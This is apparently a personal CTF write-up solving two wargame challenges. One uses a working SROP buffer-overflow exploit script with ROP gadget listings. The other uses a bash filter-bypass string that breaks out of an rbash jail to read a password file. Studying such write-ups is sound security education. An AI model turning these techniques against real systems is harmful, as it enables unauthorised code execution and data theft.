Pwnable Challenge: Unexploitable

Unexploitable is the first Hackers Secret challenge. The solutions to these challenges are techniques that are not as widely known as the other challenges. I should have considered this before I wasted a lot of time trying normal ropchain stuff. Alright so heres the vulnerable program:

#include <stdio.h>
void main(){
	// no brute forcing
	sleep(3);
	// exploit me
	int buf[4];
	read(0, buf, 1295);
}

So the vulnerability here is a simple buffer overflow. However the NX bit is set and ASLR is on so its nontrivial to exploit it. My first attempts all involved trying to execute a execve syscall directly. This was futile for several reasons that will become clear once we look at the available ROP gadgets. I used to used ROPGadget made by the shellstorm guy (I think. I should check and give proper credit) but now I started using ropper. Its better in many ways and several of them are that its colorful. Heres the ropper output of all the available gadgets:

[INFO] Load gadgets for section: PHDR
[LOAD] loading... 100%
[INFO] Load gadgets for section: LOAD
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%

Gadgets
=======

0x000000000040040a: adc al, byte ptr [rcx]; add byte ptr [rax], al; call 0x620; add rsp, 8; ret; 
0x0000000000400408: add al, ch; adc al, byte ptr [rcx]; add byte ptr [rax], al; call 0x620; add rsp, 8; ret; 
0x0000000000400570: add al, ch; mov edx, 0xc9fffffe; ret; 
0x000000000040040d: add al, ch; or eax, 0x48000002; add esp, 8; ret; 
0x000000000040060f: add bl, dh; ret; 
0x0000000000400496: add byte ptr [rax - 0x7b], cl; sal byte ptr [rdx + rax - 1], 0xd0; add rsp, 8; ret; 
0x000000000040063f: add byte ptr [rax - 0x7d], cl; jmp 0x64c; call rax; 
0x000000000040056e: add byte ptr [rax], al; add al, ch; mov edx, 0xc9fffffe; ret; 
0x000000000040060d: add byte ptr [rax], al; add bl, dh; ret; 
0x000000000040056d: add byte ptr [rax], al; add byte ptr [rax], al; call 0x430; leave; ret; 
0x0000000000400568: add byte ptr [rax], al; add byte ptr [rax], al; mov eax, 0; call 0x430; leave; ret; 
0x0000000000400569: add byte ptr [rax], al; add byte ptr [rax], bh; call 0x430; leave; ret; 
0x0000000000400411: add byte ptr [rax], al; add rsp, 8; ret; 
0x000000000040056f: add byte ptr [rax], al; call 0x430; leave; ret; 
0x0000000000400407: add byte ptr [rax], al; call 0x520; call 0x620; add rsp, 8; ret; 
0x000000000040040c: add byte ptr [rax], al; call 0x620; add rsp, 8; ret; 
0x000000000040056a: add byte ptr [rax], al; mov eax, 0; call 0x430; leave; ret; 
0x000000000040063e: add byte ptr [rax], al; sub rbx, 8; call rax; 
0x0000000000400531: add byte ptr [rax], al; test rax, rax; je 0x540; pop rbp; mov edi, 0x600e48; jmp rax; 
0x000000000040056b: add byte ptr [rax], bh; call 0x430; leave; ret; 
0x000000000040063d: add byte ptr [rax], r8b; sub rbx, 8; call rax; 
0x000000000040050b: add byte ptr [rcx], al; add rsp, 8; pop rbx; pop rbp; ret; 
0x000000000040040b: add dword ptr [rax], eax; add al, ch; or eax, 0x48000002; add esp, 8; ret; 
0x0000000000400492: add eax, 0x200b49; test rax, rax; je 0x49e; call rax; 
0x0000000000400492: add eax, 0x200b49; test rax, rax; je 0x49e; call rax; add rsp, 8; ret; 
0x0000000000400605: add esp, 0x38; ret; 
0x000000000040050e: add esp, 8; pop rbx; pop rbp; ret; 
0x0000000000400414: add esp, 8; ret; 
0x0000000000400604: add rsp, 0x38; ret; 
0x000000000040050d: add rsp, 8; pop rbx; pop rbp; ret; 
0x0000000000400413: add rsp, 8; ret; 
0x00000000004005f3: and al, 0x18; mov r13, qword ptr [rsp + 0x20]; mov r14, qword ptr [rsp + 0x28]; mov r15, qword ptr [rsp + 0x30]; add rsp, 0x38; ret; 
0x00000000004005f8: and al, 0x20; mov r14, qword ptr [rsp + 0x28]; mov r15, qword ptr [rsp + 0x30]; add rsp, 0x38; ret; 
0x00000000004005fd: and al, 0x28; mov r15, qword ptr [rsp + 0x30]; add rsp, 0x38; ret; 
0x0000000000400602: and al, 0x30; add rsp, 0x38; ret; 
0x0000000000400495: and byte ptr [rax], al; test rax, rax; je 0x49e; call rax; 
0x0000000000400495: and byte ptr [rax], al; test rax, rax; je 0x49e; call rax; add rsp, 8; ret; 
0x00000000004005f9: and byte ptr [rbx + rcx*4 + 0x74], cl; and al, 0x28; mov r15, qword ptr [rsp + 0x30]; add rsp, 0x38; ret; 
0x0000000000400571: call 0x430; leave; ret; 
0x000000000040065c: call 0x4b0; add rsp, 8; ret; 
0x0000000000400409: call 0x520; call 0x620; add rsp, 8; ret; 
0x000000000040040e: call 0x620; add rsp, 8; ret; 
0x000000000040049c: call rax; 
0x000000000040049c: call rax; add rsp, 8; ret; 
0x0000000000400631: cmp eax, 0xff; je 0x64f; mov ebx, 0x600e28; nop dword ptr [rax + rax]; sub rbx, 8; call rax; 
0x000000000040064a: cmp eax, 0xff; jne 0x640; add rsp, 8; pop rbx; pop rbp; ret; 
0x0000000000400630: cmp rax, 0xff; je 0x64f; mov ebx, 0x600e28; nop dword ptr [rax + rax]; sub rbx, 8; call rax; 
0x0000000000400649: cmp rax, 0xff; jne 0x640; add rsp, 8; pop rbx; pop rbp; ret; 
0x0000000000400575: dec ecx; ret; 
0x0000000000400503: fdiv dword ptr [rdx - 0x1e]; mov byte ptr [rip + 0x200b1b], 1; add rsp, 8; pop rbx; pop rbp; ret; 
0x00000000004005dc: fmul qword ptr [rax - 0x7d]; ret; 
0x000000000040048e: in al, dx; or byte ptr [rax - 0x75], cl; add eax, 0x200b49; test rax, rax; je 0x49e; call rax; 
0x00000000004005f7: insb byte ptr [rdi], dx; and al, 0x20; mov r14, qword ptr [rsp + 0x28]; mov r15, qword ptr [rsp + 0x30]; add rsp, 0x38; ret; 
0x0000000000400504: jb 0x4e8; mov byte ptr [rip + 0x200b1b], 1; add rsp, 8; pop rbx; pop rbp; ret; 
0x000000000040049a: je 0x49e; call rax; 
0x000000000040049a: je 0x49e; call rax; add rsp, 8; ret; 
0x0000000000400536: je 0x540; pop rbp; mov edi, 0x600e48; jmp rax; 
0x0000000000400536: je 0x540; pop rbp; mov edi, 0x600e48; jmp rax; pop rbp; ret; 
0x00000000004005fc: je 0x622; sub byte ptr [rbx + rcx*4 + 0x7c], cl; and al, 0x30; add rsp, 0x38; ret; 
0x0000000000400634: je 0x64f; mov ebx, 0x600e28; nop dword ptr [rax + rax]; sub rbx, 8; call rax; 
0x0000000000400642: jmp 0x64c; call rax; 
0x000000000040053e: jmp rax; 
0x000000000040053e: jmp rax; pop rbp; ret; 
0x000000000040064d: jne 0x640; add rsp, 8; pop rbx; pop rbp; ret; 
0x0000000000400506: mov byte ptr [rip + 0x200b1b], 1; add rsp, 8; pop rbx; pop rbp; ret; 
0x000000000040056c: mov eax, 0; call 0x430; leave; ret; 
0x0000000000400491: mov eax, dword ptr [rip + 0x200b49]; test rax, rax; je 0x49e; call rax; 
0x0000000000400491: mov eax, dword ptr [rip + 0x200b49]; test rax, rax; je 0x49e; call rax; add rsp, 8; ret; 
0x00000000004005f6: mov ebp, dword ptr [rsp + 0x20]; mov r14, qword ptr [rsp + 0x28]; mov r15, qword ptr [rsp + 0x30]; add rsp, 0x38; ret; 
0x0000000000400636: mov ebx, 0x600e28; nop dword ptr [rax + rax]; sub rbx, 8; call rax; 
0x0000000000400567: mov edi, 0; mov eax, 0; call 0x430; leave; ret; 
0x0000000000400539: mov edi, 0x600e48; jmp rax; 
0x0000000000400539: mov edi, 0x600e48; jmp rax; pop rbp; ret; 
0x0000000000400600: mov edi, dword ptr [rsp + 0x30]; add rsp, 0x38; ret; 
0x0000000000400572: mov edx, 0xc9fffffe; ret; 
0x00000000004005fb: mov esi, dword ptr [rsp + 0x28]; mov r15, qword ptr [rsp + 0x30]; add rsp, 0x38; ret; 
0x0000000000400565: mov esi, eax; mov edi, 0; mov eax, 0; call 0x430; leave; ret; 
0x00000000004005f1: mov esp, dword ptr [rsp + 0x18]; mov r13, qword ptr [rsp + 0x20]; mov r14, qword ptr [rsp + 0x28]; mov r15, qword ptr [rsp + 0x30]; add rsp, 0x38; ret; 
0x00000000004005f0: mov r12, qword ptr [rsp + 0x18]; mov r13, qword ptr [rsp + 0x20]; mov r14, qword ptr [rsp + 0x28]; mov r15, qword ptr [rsp + 0x30]; add rsp, 0x38; ret; 
0x00000000004005f5: mov r13, qword ptr [rsp + 0x20]; mov r14, qword ptr [rsp + 0x28]; mov r15, qword ptr [rsp + 0x30]; add rsp, 0x38; ret; 
0x00000000004005fa: mov r14, qword ptr [rsp + 0x28]; mov r15, qword ptr [rsp + 0x30]; add rsp, 0x38; ret; 
0x00000000004005ff: mov r15, qword ptr [rsp + 0x30]; add rsp, 0x38; ret; 
0x0000000000400490: mov rax, qword ptr [rip + 0x200b49]; test rax, rax; je 0x49e; call rax; 
0x0000000000400490: mov rax, qword ptr [rip + 0x200b49]; test rax, rax; je 0x49e; call rax; add rsp, 8; ret; 
0x0000000000400564: mov rsi, rax; mov edi, 0; mov eax, 0; call 0x430; leave; ret; 
0x000000000040063b: nop dword ptr [rax + rax]; sub rbx, 8; call rax; 
0x000000000040048f: or byte ptr [rax - 0x75], cl; add eax, 0x200b49; test rax, rax; je 0x49e; call rax; 
0x0000000000400510: or byte ptr [rbx + 0x5d], bl; ret; 
0x000000000040040f: or eax, 0x48000002; add esp, 8; ret; 
0x0000000000400494: or esp, dword ptr [rax]; add byte ptr [rax - 0x7b], cl; sal byte ptr [rdx + rax - 1], 0xd0; add rsp, 8; ret; 
0x0000000000400509: or esp, dword ptr [rax]; add byte ptr [rcx], al; add rsp, 8; pop rbx; pop rbp; ret; 
0x0000000000400493: or rsp, qword ptr [r8]; add byte ptr [rax - 0x7b], cl; sal byte ptr [rdx + rax - 1], 0xd0; add rsp, 8; ret; 
0x0000000000400538: pop rbp; mov edi, 0x600e48; jmp rax; 
0x0000000000400538: pop rbp; mov edi, 0x600e48; jmp rax; pop rbp; ret; 
0x0000000000400512: pop rbp; ret; 
0x0000000000400511: pop rbx; pop rbp; ret; 
0x000000000040064c: push qword ptr [rbp - 0xf]; add rsp, 8; pop rbx; pop rbp; ret; 
0x0000000000400442: ret 0x200b; 
0x0000000000400297: ret 1; 
0x0000000000400499: sal byte ptr [rdx + rax - 1], 0xd0; add rsp, 8; ret; 
0x00000000004005f4: sbb byte ptr [rbx + rcx*4 + 0x6c], cl; and al, 0x20; mov r14, qword ptr [rsp + 0x28]; mov r15, qword ptr [rsp + 0x30]; add rsp, 0x38; ret; 
0x0000000000400635: sbb dword ptr [rbx + 0x600e28], edi; nop dword ptr [rax + rax]; sub rbx, 8; call rax; 
0x00000000004005fe: sub byte ptr [rbx + rcx*4 + 0x7c], cl; and al, 0x30; add rsp, 0x38; ret; 
0x0000000000400641: sub ebx, 8; call rax; 
0x0000000000400659: sub esp, 8; call 0x4b0; add rsp, 8; ret; 
0x000000000040048d: sub esp, 8; mov rax, qword ptr [rip + 0x200b49]; test rax, rax; je 0x49e; call rax; 
0x0000000000400640: sub rbx, 8; call rax; 
0x0000000000400658: sub rsp, 8; call 0x4b0; add rsp, 8; ret; 
0x000000000040048c: sub rsp, 8; mov rax, qword ptr [rip + 0x200b49]; test rax, rax; je 0x49e; call rax; 
0x0000000000400498: test eax, eax; je 0x49e; call rax; 
0x0000000000400498: test eax, eax; je 0x49e; call rax; add rsp, 8; ret; 
0x0000000000400534: test eax, eax; je 0x540; pop rbp; mov edi, 0x600e48; jmp rax; 
0x0000000000400497: test rax, rax; je 0x49e; call rax; 
0x0000000000400497: test rax, rax; je 0x49e; call rax; add rsp, 8; ret; 
0x0000000000400533: test rax, rax; je 0x540; pop rbp; mov edi, 0x600e48; jmp rax; 
0x000000000040064b: clc; push qword ptr [rbp - 0xf]; add rsp, 8; pop rbx; pop rbp; ret; 
0x000000000040064e: int1; add rsp, 8; pop rbx; pop rbp; ret; 
0x0000000000400576: leave; ret; 
0x0000000000400657: nop; sub rsp, 8; call 0x4b0; add rsp, 8; ret; 
0x000000000040048b: nop; sub rsp, 8; mov rax, qword ptr [rip + 0x200b49]; test rax, rax; je 0x49e; call rax; 
0x0000000000400656: nop; nop; sub rsp, 8; call 0x4b0; add rsp, 8; ret; 
0x0000000000400417: ret; 
0x0000000000400560: syscall; 

Alright so there are several problems here. The first is that there is no way to control rax to set it to the number of our syscall. This is surmountable however. The insurmountable issue is that there is no way to control rdi only edi… wait I’m now realizing that I could have done it just by using the edi gadget. Shit… I learned about SROP for nothing… Wait no theres no gadget to set rdx/edx so I still think SROP is the way to go.

SROP is stands for sigreturn return oriented programming. It uses the sigreturn syscall to set all registers to attacker-controlled memory on the stack. I learned about it from this page. This allows us to set the registers necessary to execute a execve syscall. So here is the working exploit code using SROP to execute execv:

#sploitz brah
#unexploitable local sploit

import subprocess
import struct
import time
import os

#write cat flag command into our file named \x01
catflagfile = open("/tmp/\x01", "w+")
catflagfile.write("#!/bin/sh\n/bin/cat /home/unexploitable/flag")
catflagfile.close()

#make file executable
os.chmod("/tmp/\x01", 755)

#start the unexploitable process
p = subprocess.Popen(['/home/unexploitable/unexploitable'], env={"PATH": "/tmp"}, stdout=subprocess.PIPE,stdin=subprocess.PIPE)

#create SROP buffer
ropbuffer = ""
ropbuffer += "JUNK"*6                                # JUNK before address overwrite
ropbuffer += struct.pack("<Q",0x0000000000400430)    # address of read.plt to put the value 0xf in eax
ropbuffer += struct.pack("<Q",0x0000000000400560)    # address of syscall to call sigreturn
ropbuffer += struct.pack("<Q",0x0000000000000000)*13 # empty context stuff
ropbuffer += struct.pack("<Q",0x0000000000600e50)    # address of 0x0000000000000001 (RDI, argv[0], our catflagfile)
ropbuffer += struct.pack("<Q",0x0000000000400fe8)    # pointer to 0x0000000000600e50 (RSI, argv)
ropbuffer += struct.pack("<Q",0x0000000000000000)*2  # empty context stuff
ropbuffer += struct.pack("<Q",0x0000000000000000)    # pointer to nothing for the env (RDX)
ropbuffer += struct.pack("<Q",0x000000000000003b)    # rax value for the execve syscall
ropbuffer += struct.pack("<Q",0x0000000000000000)*2  # empty context stuff
ropbuffer += struct.pack("<Q",0x0000000000400560)    # address of syscall to call execve
ropbuffer += struct.pack("<Q",0x0000000000000000)    # empty context stuff
ropbuffer += struct.pack("<Q",0x0000000000000033)    # cs value to not segfault
ropbuffer += struct.pack("<Q",0x0000000000000000)*90 # empty context stuff

#send srop buffer after waiting
time.sleep(3)
p.stdin.write(ropbuffer+"\n")
time.sleep(1)
p.stdin.write("A"*14 + "\n")
time.sleep(1)

print "FLAG: %s" % p.stdout.read().strip()
os.remove("/tmp/\x01")

The first part creates a file named “\x01” with contents that will print out the flag when executed with the proper privileges. The filename is “\x01” because that was the first valid filename string I could find at a reliable address that could be used for the execve(argv[0], argv, env) syscall. A valid argv array needs to first have a pointer to the address of the filename and also needs to be 8 byte null terminated. The only “string” that I could find fitting these requirements was “\x01” located at 0x0000000000600e50 which is pointed to by 0x0000000000400fe8. The program is executed with the PATH set to /tmp so that the file is accessible using just “\x01”.

The ROP buffer starts with a trick to get the syscall number of sigreturn (0xf) into rax by calling read via the plt and inputting 15 chars (the A’s below). The next address in the chain is the address of syscall. If you look in the ropper output you’ll see that it is not a “syscall; ret” but thats alright because sigreturn will allow us to return to the address of our choosing. The rest of the ropbuffer is the ucontext structure that restores the context after a signal and which allows us to set the registers to the right values to execute the execve syscall. The important parts of the context are described in the comments.

This is the whole of the exploit. SROP is a pretty amazing tool to achieve code execution when the available ROP gadgets are limited. I hadn’t known about it before so this was actually a really helpful challenge for me.

Pwnable Challenge: Cmd3

Heres my solution to cmd3. Its kind of a silly challenge that won’t teach you anything that will apply to other challenges or real world vulnerabilities. But it was still a lot of fun and since not many have solved it yet I figured I’d write something up for it. Heres the “exploit code”:

#sploitz dude
import socket
import struct

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("localhost", 9023))

f = s.makefile()

line = f.readline()
while "your password" not in line:
	line = f.readline()

flagfile = line.split("flagbox/")[1].strip()
print "Flag File: %s" % flagfile

cmdfile = open("/tmp/___", "w+")
cmdfile.write("cat /home/cmd3_pwn/flagbox/"+flagfile)
cmdfile.close()

#where the magic happens
#this string uses some bullshit tricks to fill variables with spaces and "cat" and whatnot
sploitstr = '__=$((($$/$$)));___=({.,.});____=${___[@]};_____=${____:__:__};___=$(((__+__)));' \
	  + '____=$(((___+__)));______=$(((____+___)));????/???;$(${_:______:____}${_____}/???/___)' + "\n"

s.send(sploitstr)
f.readline()

password = f.read(32)
print "Password: %s" % password
s.send(password+"\n")

#read the output and get dat flag son
print "Flag: %s" % f.readline().split("cmd3$ Congratz! here is flag : ")[1].strip()

Alright so nearly all of the important part is the line under #where the magic happens. The first few lines just set up the socket for communicating with the target process listening at port 9023. It prints out information about what is in the directory and most importantly gives the file the password is in. And then there is a prompt for entering bash commands:

total 2824
drwxr-x---  5 root cmd3_pwn    4096 Mar 15 04:00 .
dr-xr-xr-x 66 root root        4096 Jul 13 06:44 ..
d---------  2 root root        4096 Jan 22  2016 .bash_history
-rwxr-x---  1 root cmd3_pwn    1421 Mar 11 00:54 cmd3.py
drwx-wx---  2 root cmd3_pwn    4096 Jul 24 21:21 flagbox
drwxr-x---  2 root cmd3_pwn    4096 Jan 22  2016 jail
-rw-r--r--  1 root root     2855746 Jul 25 16:08 log
-rw-r-----  1 root root         764 Mar 10 11:16 super.pl
total 8
drwxr-x--- 2 root cmd3_pwn 4096 Jan 22  2016 .
drwxr-x--- 5 root cmd3_pwn 4096 Mar 15 04:00 ..
lrwxrwxrwx 1 root root        8 Jan 22  2016 cat -> /bin/cat
lrwxrwxrwx 1 root root       11 Jan 22  2016 id -> /usr/bin/id
lrwxrwxrwx 1 root root        7 Jan 22  2016 ls -> /bin/ls
your password is in flagbox/HOF4PPJ4OWKESZL63633ZF3ZSW0XUM4L
cmd3$

Alright so “cat flagbox/HOF4PPJ4OWKESZL63633ZF3ZSW0XUM4L” and done! Unfortunately no. This prompt is extremely limited. Lets look at the code of cmd3:

#!/usr/bin/python
import base64, random, math
import os, sys, time, string
from threading import Timer

def rstring(N):
	return ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(N))

password = rstring(32)
filename = rstring(32)

TIME = 60
class MyTimer():
	global filename
        timer=None
        def __init__(self):
                self.timer = Timer(TIME, self.dispatch, args=[])
                self.timer.start()
        def dispatch(self):
                print 'time expired! bye!'
		sys.stdout.flush()
		os.system('rm flagbox/'+filename)
                os._exit(0)

def filter(cmd):
	blacklist = '` !&|"\'*'
	for c in cmd:
		if ord(c)>0x7f or ord(c)<0x20: return False
		if c.isalnum(): return False
		if c in blacklist: return False
	return True

if __name__ == '__main__':
	MyTimer()
	print 'your password is in flagbox/{0}'.format(filename)
	os.system("ls -al")
	os.system("ls -al jail")
	open('flagbox/'+filename, 'w').write(password)
	try:
		while True:
			sys.stdout.write('cmd3$ ')
			sys.stdout.flush()
			cmd = raw_input()
			if cmd==password:
				os.system('./flagbox/print_flag')
				raise 1
			if filter(cmd) is False:
				print 'caught by filter!'
				sys.stdout.flush()
				raise 1

			os.system('echo "{0}" | base64 -d - | env -i PATH=jail /bin/rbash'.format(cmd.encode('base64')))
			sys.stdout.flush()
	except:
		os.system('rm flagbox/'+filename)
		os._exit(0)
	

The most important parts of this are the lines showing that the cmd is filtered and then passed to rbash. Rbash is a shell which (among other things) restricts execution of programs to those that are in the passed PATH, in this case “jail”. Also to my frustration the source operator “.” is similarly restricted. Additionally the filter method ensures that the only allowed characters are printable, nonalphanumeric, and not within the blacklist. This is a very limited set of characters as notably even spaces are not allowed. So the objective becomes how to craft a cmd out of allowed characters that will allow us to read the flagbox file. It is tough. My first idea, briefly alluded to above, was to use the source operator “.” to print out the file like “.${var containing space}./???????/????????????????????????????????”. This would ideally give an output like “{password}: command not found”. Unfortunately there are a couple issues with this that i didn’t figure out till later. First as stated before the source operator does not accept any string with “/” in it as an argument so you cannot escape the jail directory. Secondly the flabox directory is not readable so the file (“flagbox/{32 character string}”) cannot be referenced using the “?” wildcards. But I didn’t know either of those things so I set about trying to form this string. Really it wasn’t a waste of time because I needed to construct a variable with space in it anyway. Thats what the first part of my magic string “__=$((($$/$$)));___=({.,.});____=${___[@]};_____=${____:__:__}” is creating. This string heavily uses some weird bash stuff that is well covered on this site . So lets break this part down.

__=$((($$/$$))) -> Puts the value 1 in $__. As covered on the aforementioned site (((…))) allows you to do arithmetic in bash so $$/$$ evaluates to 1.

___=({.,.}) -> This is a bit confusing pretty much it just makes a variable $___ with an array containing 2 periods.

____=${___[@]} -> This takes that array and makes it into the string “. .”. Theres a space!

_____=${____:__:__} -> So now we put the string of length 1 at offset 1 of the previous constructed string into $_____. That character is the space!

Alright so we have a variable with a space now. It was at this point where I discovered that my previous strategy was not going to work. So I had to change tact. The next part just puts the numbers 2, 3, and 5 into variables. That code is : “___=$(((__+__)));____=$(((___+__)));______=$(((____+___)))” . Finally…

????/???;$(${_:______:____}${_____}/???/___) -> the first part uses wildcards to put “jail/cat” into $_. Then using the variables created above, the string “cat” is isolated and then the space variable is used followed by the wildcard expression that becomes /tmp/___. This is all wrapped in $(…) so this translates to “$(cat /tmp/___)” which will execute the command written in /tmp/___.

The exploit code writes “cat {flagfile}” into ___ so the command prints the password. Then the password is sent and the flag is printed. This challenge took some lateral thinking and several hours, not to mention lots of ideas that didn’t end up working. But I did learn a lot about bash minutiae that I will almost definitely never use again, so it was all worth it. If you have a better/shorter solution post it in the comments. Unless its too short and makes me look bad in which case keep it to yourself.